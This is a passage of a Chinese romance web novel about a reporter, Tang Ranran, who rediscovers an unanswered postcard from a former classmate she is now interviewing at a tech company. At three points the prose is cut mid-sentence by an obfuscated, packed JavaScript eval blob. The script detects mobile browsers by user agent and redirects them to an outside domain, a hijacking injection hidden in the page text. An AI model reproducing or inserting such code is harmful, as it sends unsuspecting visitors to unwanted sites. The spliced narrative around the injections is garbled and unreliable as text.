在这期间,项目三组被一个客户诉求整得焦头烂额,江成川自是分身乏术,采访时间不得不延后了一次,才算定在这天。 一下出租车,热风扑面,汤冉冉把防晒衣的衣领使劲往上一揪,在心里抱怨夏天什么时候才能过去。 公司一楼的旋转门外,站着等她的人,这次换成了江成川。 “江成川。”隔着几步远,汤冉冉喊了他一声。 今天他穿了一件布料柔软的浅蓝色衬衣,风一吹,衣服里的空气消失不见,显露出轮廓清瘦的背脊。 “来了,汤记者。”江成川脸上带着生涩的笑意解释,“吴经理那边有个接待活动,脱不开身,就让我直接过来了。” “没事儿,不用麻烦吴经理。”汤冉冉不在意这些礼节。 乘电梯、人脸识别、来客登记,她跟在江成川后面,几乎和上次一样的流程。 进入办公区,汤冉冉轻车熟路地往会客室走,“哎,汤记者……”江成川抬了下胳膊,在空气中虚拦了一下,“会客室有人,就是刚说的那个接待,不介意的话,去我办公室采访也可以。” 他的办公室在这一层的另一头,面积不大,布置简单,装点了几盆绿植,保留了基本的会客区,一条L型沙发和一张小茶几。 “汤记者,先喝口水,我预留了整个下午的时间,不用着急。”江成川客气说道。 他给自己也倒了一杯水,然后坐到沙发的一侧,没有坐回他的办公椅,因为这样两个人正好可以平视交流。 “太好了,本来看你们忙,还怕会添麻烦。”汤冉冉一听采访时间充足,内心简直要喜极而泣。 “这次主要是想从感性的角度聊一聊智达科技,比如,你们在和人工智能打交道的过程中,有什么难忘的记忆点吗?” 留给他充分思考的时间,汤冉冉把采访本翻到上次记的那一页,拿出录音笔摆在小茶几上,又顺手拿起旁边的茶杯喝了一口。 茶水是温热的,有淡淡的茉莉花香。 等注意力重新落到江成川身上,他开口,“其实有件事,我感触还挺深的,但时间比较早了。” “今年年初的时候,我们给南城的南崖村捐赠了一批教学软硬件产品,有智慧黑板和平板,以及我们研发的一些课程服务系统。”他继续讲下去。 “其实南崖村的整体情况还不错,下辖的南崖一小因为办学早、学生多,师资力量比较稳定,所以并没有纳入乡村撤点并校的范围。”他语速不快,在认真回忆细节,“当时捐赠完成后,我们担心产品在后续使用的过程中有不明白的地方,就给学校教务处的老师留下了公司地址和我的手机号码。” “大概过了几个月吧,我收到了一条短信,是学校里的一个小同学发的。” 汤冉冉听得专注,“然后呢,短信里写了什么?” “其实不长,就两三句,对,短信我存着没删。”江成川起身去办公桌上拿过手机,点开短信划到那一条,然后把手机放在了小茶几上,又往她的方向推了推。 汤冉冉拿起来看,短信上写,“江叔叔,谢谢你们送的学习工具。这个黑板可好玩了,我上课一直盯着它看,老师夸我听讲认真。江叔叔,祝你工作顺利。南崖一小,李浩天。” “那几天我们项目组正为了一个技术bug发愁,就在我这间办公室,几个人意见不同快吵起来了。”江成川叹了口气,无奈地笑了,“当时桌上的手机震了一下,我还以为是客户又有新意见,没好气地拿起手机。” “等看清短信里的内容,情绪一下子就……就空了,只剩心里暖得发涨。” 说到这里,江成川脸上露出开心的笑,把手放到胸口的位置,似是又沉浸到那一个场景里。 汤冉冉不想破坏这样的气氛,等了一会,附和他的情绪,“我能体会到,仿佛是生活里的意外之喜,觉得自己每天忙的这些事有了不一样的价值。” “对,就是这样的感受,我把短信转发给当时一起去南崖村的同事,他们也很开心。”江成川的声音里还带着激动。 “那你们推进教学产品捐赠的过程,应该也比较顺利吧?”她顺着话题往下问。 江成川摆手,“并不是,甚至中途都要停掉这次捐赠了。” 汤冉冉有点不可思议地看向他,“为什么啊?” “这算我们私下说,不要往报道里放了。” 给汤冉冉的茶杯里又续了些茶水,他降低音量说,“可能是有的领导之间有分歧,考虑到捐赠给小学的宣传效果不如选别的捐赠对象更好,觉得村里的小学用不上这些新东西。” “但你不这么认为是吗?”她突然想刨根问底。 “对,可能因为我是站在普通员工的角度,考虑的是别的方面。”江成川回答得很干脆。 “一是不要低估小孩子接受新鲜事物的能力,更不要从主观上区分城市小孩和农村小孩,他们理应拥有尽可能平等的接受教育的权利。” “二是我不认为所有辅助教学的产品都是花架子,虽然有一些人是苦过来的,觉得能把知识学到脑子里就行了,方法本身并不重要,但时代不一样了,工具本身就可以是一种目的,使用新工具也是一种思维锻炼,是感知更遥远世界的触角。” 江成川一口气说完,像是找到了可以倾诉的对象。 办公室陷入片刻安静,气氛变得有些沉重。 “可你们还是完成了这次捐赠,并且从结果看,是一件令人开心的事,不是吗?”江成川听出她话里的安慰之意。 “哎我也和你说一件特别暖心的事吧?”汤冉冉岔开话题,试图舒缓他的情绪。 去年冬天,她和乔小童去南城小吃街做街头采访,是秦主任派给他们的题目,城市夜经济。 风吹起凛冽寒意,晚上六点的小吃街,石板路上还有未化的积雪,但人头攒动,店家悬挂的招牌映出一排排晃眼的光。 她俩蹲守在一处卖臭豆腐的档口,原因是这个档口人最多,需要先去窗口点餐,然后再从另一个窗口排队取餐,因为不能即买即走,所以排队等餐的功夫刚好用来回答采访问题。 其中有个裹了两件厚棉服的小伙子,一开始只是围在边上看热闹,后来也跟着补充上两句。 “帅哥,可以采访你吗?还是这几个问题。”汤冉冉主动问他,“你是过来旅游的吗,刚才听你说话的口音不太像本地人。” “对对,我第一次来北方旅游,你看我这身打扮就能猜出来,特怕冷!”小伙子性格爽快,有一说一,“我觉得这个城市吧,挺好的,在这转了两天了,推荐的景点也都去了,今天再住一晚就该回了。” “哈哈是吗,冬季不是南城的旅游旺季,不过住宿之类的倒也便宜。”乔小童热情地和他胡侃起来。 “下次再有机会,带着女朋友一起来啊,自己逛多没意思。” 聊得正起劲,汤冉冉扯了一把乔小童的羽绒服帽子,意思是别从这里好为人师了,赶忙和小伙子说了再见。 从卖臭豆腐的档口离开,她俩又去了小吃街上卖手机壳和发卡头绳的小门店,写稿子也需要体现一下商户们的态度。 采访 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那就好,有帮助就好,静候佳作。”他扭头望向窗外,城市已经有了华灯初上的痕迹,原来一下午的时间过得这么快。 江成川送她下楼,电梯里没有其他人,于是他神情放松地开玩笑说,“欢迎汤记者再来指导工作,不怕麻烦。” “心意领了,江组长,我们月底交稿,听不得这个。”汤冉冉说笑着看向江成川,忽然有种错觉,眼前的人比第一次见面时松弛多了,最起码能互相打趣了。 电梯到1层,江成川按住开门键,示意她先走。 “哎,江成川,你们捐助南崖小学那件事,真的特别好,要多用结果导向看问题。”转身等他的功夫,汤冉冉又想起来这一码事,见缝插针地说了两句。 “我是说真的,那些小孩能记你们很久的。”她语气诚恳。 “好,好,知道了。”江成川语调里带着谢意,他明白是汤冉冉觉得今天聊起这个事儿让他心里不好受了,所以总想着多开导几句。 一下午的畅快交谈,表达欲被无意激发到近期的高点,这不仅表现在汤冉冉身上,江成川也有点难以控制自己。 时过境迁,旧事重提,本不是他的风格。 但就在这一刻,两个人将要走出旋转门,江成川的身体里突然迸发出追问过去的勇气。 高一运动会,铅球比赛,跌倒受伤,冰矿泉水,以及未有回应的明信片…… 回忆铺天盖地,一桩桩一件件,同样也在他心里记太久了。 旷日经年,即便是一厢情愿,也忍不住想要个答案。 旋转门外,汤冉冉刚要开口说再见,被江成川抢了先,“冉冉,有个事儿一直挺想问你的。” “大一的时候,给你寄的那张明信片,现在想想多少有些冒失了。” 他微微低着头,皮鞋轻轻摩挲地面,没注意到汤冉冉眼中一闪而过的疑惑。 接着,他赧然一笑,生怕再没机会似的,忙问出下一句: “但那时候,你到底是怎么想的?” 5. 老房子 和江成川说了再见后,汤冉冉没回报社,直接从智达坐公交回了家。 她开门进屋的时候,宋舒正端着一盘秋葵炒蛋从厨房往客厅走,看见闺女回来,提高了声量朝书房喊:“东民,冉冉回来了,快出来吃饭。“ 汤东民响亮地应了一声,没隔一会就拿着他那紫砂保温杯,喜笑颜开地来了饭桌。 一家三口的晚餐,严格遵循健康饮食原则。 蒸鲈鱼、秋葵炒蛋、清炒胖豆芽,电饭煲里焖着糙米饭,还搭配了爽口丝瓜汤。 “爸,什么事让您这么高兴啊?说来听听。”汤冉冉给他舀了一碗汤放到手边。 “他还有什么事啊,在书房捣鼓一下午了,就擦拭他那宝贝刻刀呢。”老两口结婚三十多年,宋舒对家里的大事小情了如指掌。 “还是你妈懂我,一有活儿我就开心。”汤东民笑呵呵地夹起一块鱼肉搁到宋舒碗里,是刺少的鱼腹。 汤东民干了大半辈子的木雕,靠这门手艺挣钱吃饭,也靠它解闷图一乐。光是家里的一间书房,大大小小摆放着他的木雕作品几十件。 这两年,传统技艺在年轻人群体中越来越受欢迎,汤东民也紧跟时代潮流,尝试不同木料,构思新造型。一来二去,找他买木雕和想拜师学艺的人越来越多,忙得不亦乐乎。 “爸,那您可悠着点儿,别老坐那不动弹。”汤冉冉管不了别的,就担心老两口的身体。 “你看还得是我的小棉袄,暖和贴心。”汤东民挑出鱼眼夹给汤冉冉,关心道,“我们汤大记者也要注意保护视力,少看电脑。” 爸妈相爱,女儿孝顺,一顿饭吃得其乐融融。 饭后,父女俩收了碗筷进厨房,宋舒去客厅看电视,做饭的人不用洗碗,分工合理。 “爸,我想这周末有空去咱家老房子看一眼。”汤冉冉接过汤东民洗好的盘子放到沥水架上,装作随口一问。 “都多久不回去了,怎么想起来这茬?”汤东民没看她,倒也随口一答。 “这不就是太久不回去,还挺想的。”汤冉冉擦干了手,给汤东民按摩起肩膀,语气讨好地问,“你不还有些木雕放在老房子嘛,要不我给你带过来?” “那不用,你愿回去就回去,钥匙在你妈那。”汤东民用胳膊肘杵了她一下。 “得令。”汤冉冉心领神会,直奔客厅,三言两语就让宋舒交出了老房子的钥匙。 汤冉冉家住的老房子,是南城中学的老职工宿舍楼,她的爷爷奶奶都是南中的老教师,兢兢业业守着三尺讲台,当年享受福利分房政策,才有了这个不大的五口之家。 直到高考结束,尘埃落定,汤冉冉被南城大学新闻系录取,一家人决定改善住房条件,换个大点儿的房子住。 老房子挨着南城中学,各方面都算便利,宋舒原本打算无偿提供给汤冉冉的学妹学弟,让他们可以中午来家里自习或者休息。但又担心好心办坏事,万一学生出现安全问题不好解释,也就不了了之。 既然不打算出租了,老房子索性就保持原样儿,汤东民倒是会一两个月过去一趟,纯粹是为了看一眼他那些不好移动的木雕和不值钱的老家电,图个心里踏实。 汤冉冉躺在沙发上,手里把玩着老房子的钥匙,脑海中不自觉地浮现出下午江成川赧然问她的样子。 “但那时候,你到底是怎么想的?” 汤冉冉当时一愣,诧异地问:“什么明信片?” 他抬头看向她,原本只有探询的目光里蒙上一层不可思议,再开口时声音微颤。 “你……你没收到吗?应该是……大一国庆节的时候,我寄的……一张明信片,正面是……京市的景山公园。” “大一国庆节?”汤冉冉重复问了一句,“可我那个时候已经搬家了,不在学校附近住了。” “你……搬家了?”江成川怔住,不知道该怎么追问下去。 原来她没收到。 一块石头落地。 这样的结果,他怎么没有预想到呢? 至少比石沉大海好了太多。 夜色渐起,两个人站在公司楼下,汤冉冉有些看不清他脸上的神情,但心底产生了一种说不清的预感。 “不好意思啊,把你的明信片弄丢了,没关系吧?”她在试探。 可江成川低着头,没出声,也不敢看她的眼睛。 事实上,慌乱的不只他一个人。 “算了算了,你不用在意的,都过去了。”汤冉冉后退了一步,行动上的,更是言语上的。 她怕再问下去,只要江成川开口,心里的那个预感就会马上得到印证。 无论如何,她还没想好怎么面对。 “唉……这怎么一回事?”汤冉冉长叹了一口气,从沙发上起身,有点萎靡地回屋了。 宋舒坐在她旁边,正全神贯注地盯着电视机里的谍战剧看,被她这一嗓子吓得不轻。 “怎么了,闺女?刚才吃饭不还好好的,是不是手机上又来新工作了?多学学你爸!” 汤冉冉一边往屋走,一边摇头。 “你们不懂。”说完关上了门。 辗转反侧一个夜晚。 第二天,她拖着两个黑眼圈去了报社,给秦主任汇报蹲点报道的进展。 秦青的办公室常年点着香薰,木质香调格外安神,汤冉冉本来就困,进去坐下没一会就昏昏欲睡,勉强撑着眼皮才汇报完工作。 “冉冉,就按你刚才的想法修改初稿,公益捐赠这个点挖得不错,好好写。”秦主任难得肯定一回。 听着秦青已经交代完了,她站起来刚要走,又被喊住了。 “对了,下周有个兄弟媒体组织的联动采访去琴城,我看通知上说就两天,给你报名了。” 等重新回到工位,她才意识清醒地反应过来两件事,一是秦主任刚才表扬了她,二是下周要出差了。 喜忧参半,任重道远。 就差把“不在状态”四个大字写在脑门上了,汤冉冉现在心里只惦记着一个事:明天一早去老房子找明信片。 周六清早,手机闹钟一响,汤冉冉立马翻身下床,先用小锅煮上鸡蛋,快速洗把脸,然后三五口吃完水煮蛋,省去化妆,口罩一戴,就出了门。 青桥站、东耕路站、丽华大厦站……公交报站声每响一次,她的心就往上提一点,等听到熟悉的“南城中学站到了”,她的心已经提到了嗓子眼儿。 下了车,汤冉冉没有直奔宿舍楼,而是先绕到校门口看了一眼。 其实没什么变化,校门上方是庄重的门匾,朱红底烫金字,往里看是南中的明理楼,但被门口的自动伸缩栅栏门遮挡了一部分视线。汤冉冉站的位置离栅栏门再近点,值班室的保安就出来问她要找谁,她说只是路过不找人。 宿舍楼离学校不远,沿路是几家文具店和小吃店,大部分还是她上学时候的样子。 几分钟的路,她走得很慢,想早点揭开谜底,又怕知晓答案。 当宿舍区完全出现在眼前时,她深吸了一口气,走进小区大门,左数第二栋,爬五楼,中间那一户,这条路进进出出太多次,以前不需要记,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925361|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会忘。 从口袋里拿出钥匙,插入锁孔旋转,咔嗒一声,和大门一起打开的是汤冉冉的前十八年。 她没换鞋,径直去了客厅、卧室、阳台,最后来到曾经属于她的房间,环视了一圈,什么都没变。 上大学后,汤冉冉就没再回来,她想会不会是宋舒整理杂物的时候把明信片混到了里面,于是去翻堆在房间墙角的一小摞废纸,里面有模拟试卷、招生指南、大学宣传册…… 但没有明信片。 似有若无的期待落空,她继续在房间里转着圈地找,脑子里转着圈地想,能放在哪呢? 随手在书架上掠过,汤冉冉碰掉了一本薄薄的画报,一张旧报纸从夹着的一页滑落出来,她捡起来看,原来是那一版上刊登了她初中投稿的散文短篇。 一瞬间,福至心灵。 信报箱。 在宿舍楼下,早些年安了几排规整的信报箱,那时楼里的大部分住户还有订报的习惯,送报员一早送到,谁家订报就下班顺道取上来。 汤冉冉家也不例外,南城晚报一订就是很多年。 小时候,汤冉冉的爷爷领着她下楼取报,她人小小的,自己只能勉强踮着脚够到最下面一两排别人家的信报箱。 “我们冉冉得抓紧长高高,这样才能自己拿报纸呢。”爷爷托着她的胳肢窝举高,她一伸手刚好碰到信报箱的开关,两之小手合力一拽打开,当天的报纸已经放在里面。当时街坊四邻都是南中的同事,为了拿取方便,也没有给信报箱上锁的习惯。 取了报纸,小汤冉冉蹬蹬蹬跑回五楼,奶奶早已经开着门等了。 看她小腿一迈踩上最后一层楼梯台阶,奶奶就会半蹲下等她扑过来,还夸奖说,“我孙女真厉害,拿报纸和奶奶一起看。” 阳光铺满桌面,展开的报纸散出油墨香。 “南、城、晚、报。”奶奶指着读一遍。 小汤冉冉跟着学一遍,“南、城、晚、报。” “本、报、记、者。”奶奶另起一行继续念,她却不跟着学了,趴在桌上仰着一张小脸问,“奶奶,什么是本报记者啊?” “本报记者就是写这些字的人,写出来的东西能给许多人看。”奶奶捋着她的小麻花辫,细声解释。 “那我也想当这样的人,这样爷爷奶奶不就能天天看到我写的东西了?” “好,那我们小冉冉要好好学习,也当本报记者。” 恍惚间,这样的画面是太久之前。 等她回过神来,三步并作两步,朝楼下跑去,不知道哪里来的笃定:小时候打开信报箱,会有报纸在里面。 现在,里面会有一张明信片。 溯时间之流而上,早已无人问津的信报箱前,只站了她一人。 抬手抚去灰尘,然后汤冉冉轻轻闭上了眼睛,稍用了些力去拽开信报箱的门。 门开带起一阵风,里面有纸片发出微不可查的震颤,这声音已经足够让她确定了。 再睁眼,眼前的小格子里,静静躺着一张手掌大的明信片。 她小心翼翼地拿出来,朝上的那面印的是景山公园的风景照片,色彩已经有些暗淡。 翻过来,背面有几行工整的字迹映入眼帘: “汤冉冉,你好。” 这是第一行。 “我是江成川,现在在京市上大学,你的大学生活还顺利吗?” 这是第二行。 ”谢谢你之前的帮助,还有我想冒昧地问一下,你交男朋友了吗?” 这是没有回应的第三行。 6. 时光小偷 九月中旬,晌午已经很少听到蝉鸣,南城的夏天大概快要过去了。 汤冉冉坐上回家的公交车,挑了个后排靠窗的座位,脑袋贴着车玻璃有点凉但她又懒得调整,视线直直地望向窗外,好像在看风景又没再看的。 怀里搂着她的白色帆布包,两只手无意识地摩挲着包上的毛绒挂饰,是一个之前采访展览活动时组委会送给记者们的大会吉祥物。 丽华大厦站、东耕路站、青桥站……报站的地点离南城中学越来越远。 汤冉冉把明信片带走了。 她突然觉得自己像一个时光小偷,悄悄拿走了属于学生时代的汤冉冉的东西。 但又无处安放。 一到家,汤冉冉和宋舒撒谎说已经吃过午饭了,临时有工作要忙就把自己锁在屋里。宋舒显然已经习惯了女儿的职业性质,即便是周末也没觉得有什么异常,一下午也没敢去敲门打扰。 “璇啊,我需要你的帮助……”卧室里,汤冉冉在给闺蜜冯璇的对话框里输入完这一行字后,整个人四仰八叉地撂倒在了床上。 她也说不清自己现在是什么心情。 明信片上短短的三行字,代表了过去江成川的心意,汤冉冉看出来了。 那几天前在智达公司楼下,江成川兴致盎然地提起,知道实情后又陷入无端沉默,这又代表什么,她不敢轻易下结论了。 时过境迁,汤冉冉告诫自己不要自作多情。 可愈是试图抚平内心的波动,是否表明了她早已在不知何时就隐隐动心。 这一点连汤冉冉自己都没有意识到。 “帮助啥啊帮助,我们汤大记者遇到什么坎坷了?”冯璇回得迟了些,且凭她的经验初步判断:汤冉冉的麻烦不过有三,一曰想不出选题,二曰采访对象失联,三曰写稿难产。 毕竟两个人从高中认识到现在,在冯璇的认知里,汤冉冉上学时只会为考试掉名次而茶不思饭不想,工作后只会为月底稿件评优考核而殚精竭虑。 至于感情的部分,自诩智性恋的汤冉冉借着采访的机会阅人无数,结果发现越是优秀的人越是喜欢独来独往,逐渐她也有样学样地开始回避无效社交。 刚上班的那一两年,南城日报社和南城医院联合组织过好几回青年派对,说白了,就是一场两个单位里想找对象的单身青年的相亲大会,好处就是相对知根知底且不收报名费。 报社工会的老师把通知传达到经济采访中心主任秦青那里,秦主任就撺掇着部门里年龄合适的单身同事踊跃报名。 美其名曰:不要整天只吃工作的苦,也要去尝尝爱情的甜。 不用多想,汤冉冉屡屡榜上有名。即便嘴上再抱怨浪费大好的周末时间,但行动上必须积极响应,硬着头皮捯饬一番,毕竟秦主任特意交代这关乎部门的颜面。 好在这几年,部门陆陆续续来了乔小童等的新同事,才让她侥幸逃过一劫,当然这都是后话了。 有一回,两家单位把青年派对的活动地点选在了南城近郊的网红露营地,彼时正是早春踏青的好时节,草长莺飞,天朗气清,汤冉冉抱着参加春游的心态就去了。 哪能料到派对的活动环节五花八门,手写心意卡、互动小游戏、小组pk赛……几轮下来,汤冉冉面如土色,心里呐喊比上班还累,更别提找对象的心思了。 春风不解风情,她在心里发誓,下次一定要义正严辞地拒绝秦青的软磨硬泡,谁爱来谁来! “是汤记者吗?你好,我是南城医院的心内科医生任飞。今天很高兴认识你,希望以后有机会能多交流。”派对散场时,汤冉冉正苦着脸收拾东西走人,有位男士小跑过来想加她的微信。 对方谈吐儒雅、举止得体,汤冉冉回想刚才派对上好像看着也挺顺眼的,心想多认识个朋友也没坏处,说不定以后采访还能有用武之地,就答应互换了联系方式。 当天晚上,这位任医生就发出了热情邀约,“汤记者好,请问你下周末有时间吗,想约你一起去看南城美术馆的当季艺术展。” 正敷着面膜的汤冉冉一看到这条消息,立马皱起了眉头,琢磨了下措辞,回复道:“呃……不好意思啊,任医生,我们经常有临时采访,时间上没法和您说准。”这也是大实话。 “哦好的,没关系,那我们到时候再约。打扰你了,早休息。”任医生没再纠缠,礼貌地道了晚安。 之后的一周,汤冉冉忙得昏天黑地,早把所谓的“约会”抛到九霄云外,直到周五下午对方再次发来消息。 “抱歉啊,汤记者,这周的艺术展我没法赴约了……”没等她回复,任医生接着诚恳解释道,“我们科室周日有台远程手术,原本参与的同事突然犯了肠胃炎,明天也有些术前准备要做,就只好我来替他。十分抱歉。” “没事的没事的,医者仁心,我该说一句你们辛苦了才是。”汤冉冉赶忙表达了心底的敬意,但没多回应约会的事。 两个人的交集原本到这里就暂告结束,但周五快到下班点的一通电话,改变了事情的走向。 汤冉冉被安排周天去南城医院采访,事件是南城医院即将实施一台跨省机器人远程心脏手术,她挂了秦青的电话后,点开微信上转发过来的拟采访医生名单,倏然一愣。 名单里排在第三位的,心内科主治医生任飞,正是她最近的“约会对象”。 周天上午的手术很顺利,院方宣传科的工作人员邀请记者们在会议室通过屏幕全程观看手术过程,这是汤冉冉第一次看到工作状态中的任医生,要比生活中的任飞再沉稳一些。 术后两地的医生把相关事宜沟通妥当,依次来到会客室接受采访。 任飞摘下医用口罩走进来时,视线正对上汤冉冉投来的目光,一时间两个人面面相觑,竟同时笑出了声。 “怎么是你啊?汤记者,也太巧了?”他语气透着惊喜,心里难免有些激动。 “是啊哈哈,我也是临时接到的采访任务,早上和我们跑医疗口的记者一起过来的,就没和你提前打招呼。”汤冉冉如实回应。 “还好你没说,要是知道你在看着我做手术,我肯定倍儿紧张。”任飞找了个位置坐下,开玩笑说道。 “任医生,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925362|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可别谦虚……刚才采访主任医生的时候,他还特别说起你是临危受命,但这次和团队配合得相当默契呢。”汤冉冉发自内心地为他们感到高兴。 这台手术是为了救助邻省的一位心脏功能严重受损的患者,南城医院的医生团队只需要在本院操控摇杆和使用按键,由手术机器人接收指令就可以完成隔空的植入操作,能够减少患者的奔波,最大程度实现医疗资源的共享。 采访结束后,汤冉冉有些话想借这个机会说清楚,任飞似乎也正有此意,两个人就约在了医院外的一家冷饮店。 任医生点了两杯蜂蜜柚子水,从收银台等了一会,才端着餐盘徐徐走来。 “女士优先,汤记者,请你先说吧。” “啊那好……任医生,其实我对你印象挺好的,尤其是今天见证了咱们的手术过程,更觉得你是个特别优秀的人……”汤冉冉停顿了下,接着说道,“但可能也是因为上午的事吧,我突然在想如果两个人见面还要靠碰运气的话,这个恋爱谈得也太辛苦了,你觉得呢?” “汤记者过奖了,咱们不都是职责所在。”任飞有些腼腆地笑了,再开口时有些不确定,“还有一句话,我不知道该说是英雄所见略同还是心有灵犀,其实刚才在会议室里看到你的那一刻,我脑子里也一下子蹦出了同样的困惑。” 心下了然,两个明白人相视一笑,无须多言。 碰面并不是什么缘分,而是一种无奈的巧合。 在工作夹缝中谈恋爱,眼睁睁看着自己对时间的自由支配度逐渐减低,显然他们都不喜欢这样的恋爱方式。 从那以后,任医生放弃了追求汤冉冉的想法,两个人成了偶尔联系一下的普通朋友,相处十分自然。 若为自由故,爱情也可抛。 而江成川的突然出现,让汤冉冉一直秉持的人生信条摇摇欲坠。 “如果一个人过去喜欢你,但你现在才知道,那应该怎么办?”汤冉冉翻了个身,趴在床上用胳膊肘支撑着打字。 “还能怎么办?这就好比你拿着十年前买的绿皮火车票想去坐现在时速350公里的高铁,即便你目的地没变,列车员也不让你上车啊。”冯璇心直口快,说完才意识到好像哪里不对。 “哎汤冉冉,你有情况啊?” 冯璇说的话不是没有道理,于是汤冉冉一五一十地,从上回告诉她向冯璇提起在智达采访遇到江成川说起,一直讲到今天上午她从老房子找到明信片,过程中隐去了和报道内容有关的细节。 “不是……江成川这也太沉住气了?!”冯璇听完一长串语音,十分震惊地发来了第一条消息。 “那你咋想的?” “其实……咱们可以略施小计,看看他现在究竟是啥态度……” 汤冉冉要是能想明白,也不至于像现在这么垂头丧气,她没有逐条回复,只引用了第三条消息回了过去。 “鄙人愚钝,还请明示。” “明示可以,但你得表示表示。”冯璇快速想了一下,回复道, “要不你明天请我喝咖啡?为师当面向你传授一二……” 7. 琴市出差 咖啡厅是冯璇挑的,看点评上介绍刚开业没多久,位置就在靠近南城中学的一家商场里。 约的周日下午三点,汤冉冉提前到了。 正是下午茶时段,咖啡厅近乎满座,悠扬的古典乐曲循环放送,服务生穿梭其间忙碌有序。 汤冉冉先点了一杯苏打水,并告知路过的服务生自己在等人,等一下会再续单。 “来迟了来迟了……我自罚三杯!”三点半,冯璇一身运动穿搭风风火火地出现在汤冉冉面前。 “那可别,倒不是怕你喝多了睡不着觉,我是心疼我的咖啡钱!”汤冉冉揶揄了几句,又正经问道,“我看商场顶楼是家健身房,你现在从那里带课?” “对啊,不过刚去没多久,原先健身房的老板听说这边缺人就推荐我过来了,给的钱也比之前多。” 冯璇高中时学的理科,大学读的会计学,毕业后在父母的安排下进了一家私企做财务,平时的工作就是收收各部门的差旅报销单,走走报账审批。 但这并不是冯璇想要的生活,她喜欢动感和释放,所以周末闲下来就去健身房当兼职教练。 “你啊不用操心我,今天就说你。”冯璇用勺子搅散了拿铁上的拉花图案,冲汤冉冉挑了下眉,问道,“你觉得江成川现在还有那个意思吗?” “那个……我们这两次采访相处还挺愉快的。”汤冉冉答非所问,“而且……就像我之前和你说的,他确实变化挺大的……” “我说汤冉冉,别不是人家江成川已经往事随风,你却从这里拿得起放不下了……”冯璇满眼狐疑地看向她。 “我……我哪有啊?你……别乱说!”汤冉冉蹭地一下从椅背上弹起,挺直了背一口反驳。 “你看你这都结巴了,还说没有?”冯璇也嘴上不饶人。 “行行行,我关心则乱,您旁观者清。”汤冉冉撇了撇嘴。 汤冉冉服了软,冯璇也不打算再逗她了,直言道,“反正江成川现在认定了明信片没送出去,他要是没这个意思了,不就正好当作无事发生。” “那要是……咳咳……万一……还有点儿意思呢?”汤冉冉有点不好意思问。 “首先,他要还有意思,那就直接追你呗!你俩这不也重新牵上线了。” “其次,现在主动权在咱们手里,你只需要释放那么一点点信号……” “最后,要我说你就在朋友圈发个暗戳戳的追忆往昔的非主流文案,他要是有意思准来找你。” 冯璇一口气说完,然后拿起咖啡,一仰脖儿全干了。 汤冉冉没懂,反问道,“那他要是不找呢?” “你笨啊汤冉冉,不找只能说明两个问题,要么是人家已经没这个意思了,不想引发新误会,要么就是他怂了,都到现在了还没胆量追呢,你也不喜欢这样的吧?” 汤冉冉点头,心里想着冯璇说得对,她不喜欢磨磨唧唧的人。 “冉啊,你就记住为师一句话,不主动就是不喜欢。”冯璇故作语重心长。 汤冉冉冲她眯眼微笑,拉长了声调说,“知——道——了,谢谢冯大师~” 和冯璇从咖啡厅告别,汤冉冉果然心里畅快了许多。 回家路上,她在公交车上正刷着手机上的娱乐八卦,微信弹出了一条工作消息。 “哎呀,差点忘了……”汤冉冉还没仔细看,先在群里回了个“收到”。 秦青上周交代给她的琴市出差采访,主办方刚才拉了一个媒体群,通知明早统一集合的地点和出发时间。 “各位媒体老师,大家好!咱们明天(周一)早7:30,从南城大厦集合准时出发,具体行程安排请各位老师一并查收。” 汤冉冉估算了一下,先给自己定了个早上六点半的闹钟,然后点开群里的行程表仔细看。 琴市,一座沿海旅游城市,距南城直线距离近400公里。 行程表上,第一天上午到达,下午安排了两个采访点位,第二天上午是去琴大听讲座,下午返程。 大致浏览了一下,她又去搜了搜琴市日报之前的相关报道,想着做到心里有数。 回家吃过晚饭后,汤冉冉才开始倒腾行李箱,笔记本、录音笔、充电器、换洗的衣物、化妆包…… 周末两天,私事和工作交织,纵是熬夜达人汤冉冉也心力交瘁,收拾完就早早躺下休息了。 宋舒只当闺女终于认识到身体是革命的本钱,还很欣慰地和汤东民说,“闺女今天可算早睡早起,正常作息了一回。” 第二天没等闹钟响,汤冉冉就睡不着了。 下床坐到化妆镜前一看,眼下的两团乌青无所遁形,汤冉冉深深叹了口气。 问世间情为何物,直教她心里满是嘀咕,越睡越觉得迷糊。 快速洗漱后,汤冉冉化了个淡妆,又着重遮了一下黑眼圈,搭配了一件米白色雪纺衬衫和卡其色西装裤,就赶忙拎着小行李箱出门了。 大清早的空气格外清新,周围的一切都有种轻盈的朦胧感,像是在等待雨后初霁。 “老师,您是哪个媒体的呀?”去琴市的媒体大巴上,汤冉冉邻座的一个年轻女孩主动搭话。 “哦哦你好,我是南城日报的记者汤冉冉,你呢?” “幸会幸会,汤老师。我是南城周刊的崔心怡,第一次参加媒体行活动,嘿嘿。”女孩笑着回答,声音清脆。 “挺好的,出来转转,要不咱们加个微信?你有不懂的也可以来问我。”汤冉冉一向热心。 四个多小时的车程,俩人聊着天倒也不觉得漫长,中间还在服务区短暂休息了下。 中午十二点左右,媒体大巴抵达琴市的海帆大酒店。酒店靠海而建,步行到沙滩仅有百余米,环境位置极佳。 